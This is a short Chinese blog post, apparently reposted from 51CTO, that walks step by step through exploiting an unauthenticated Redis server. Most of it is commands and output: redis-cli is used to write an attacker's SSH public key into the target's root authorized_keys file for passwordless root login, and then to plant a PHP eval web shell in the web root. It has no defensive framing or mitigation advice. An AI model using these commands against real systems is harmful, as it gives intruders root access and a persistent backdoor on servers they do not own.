通过使用nmap扫描,发现某一端口对应的服务为Redis,然后我们可以尝试看看是否是未授权访问!
首先使用下列命令安装Redis tools:
1
|
root@kali:~
# apt-get install redis-tools
|
然后通过下列命令看是否是未授权访问:
1
2
|
root@kali:~
# redis-cli -h 10.198.131.1
10.198.131.1:6379>
|
然后我们可以使用免密登录的方式进行相关攻击:
生成公钥:
1
2
3
4
|
root@lsy:~/.
ssh
# ssh-keygen -t rsa
root@lsy:~/.
ssh
# cat id_rsa.pub
ssh
-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV
/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W
+fWzbQkZbj
/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3
+fkwD+im2W966A5UEZZmzTzTi
/qA9BZwZghRrEx8Mr5
+jVhQ8mYbR0QooggxTlafsavsBAG
/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk
+TlQ8P5jm+
/pomKd
++aPSn root@lsy
root@lsy:~/.
ssh
#
|
将公钥写入远程服务器:
1
2
3
4
5
6
7
8
9
10
|
root@lsy:~/.
ssh
# redis-cli -h 10.198.131.1
10.198.131.1:6379> CONFIG SET
dir
/root/
.
ssh
/
OK
10.198.131.1:6379> CONFIG SET dbfilename authorized_keys
OK
10.198.131.1:6379>
set
xxxx
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsy\n\n\n"
OK
10.198.131.1:6379> save
OK
10.198.131.1:6379>
exit
|
使用ssh远程登录:
1
|
root@lsy:~/.
ssh
# ssh 10.198.131.1
|
免密登录成功:
上传webshell
1
2
3
4
5
|
#redis-cli -h 192.168.2.5 -p 6379
192.168.2.5:6379>config
set
dir
/var/wwww/html
192.168.2.5:6379>config
set
dbfilename 1.php
192.168.2.5:6379>
set
webshell
"<php @eval(@_POST['passwd'])>"
192.168.2.5:6379>save
|
本文转自 eth10 51CTO博客,原文链接:http://blog.51cto.com/eth10/1956311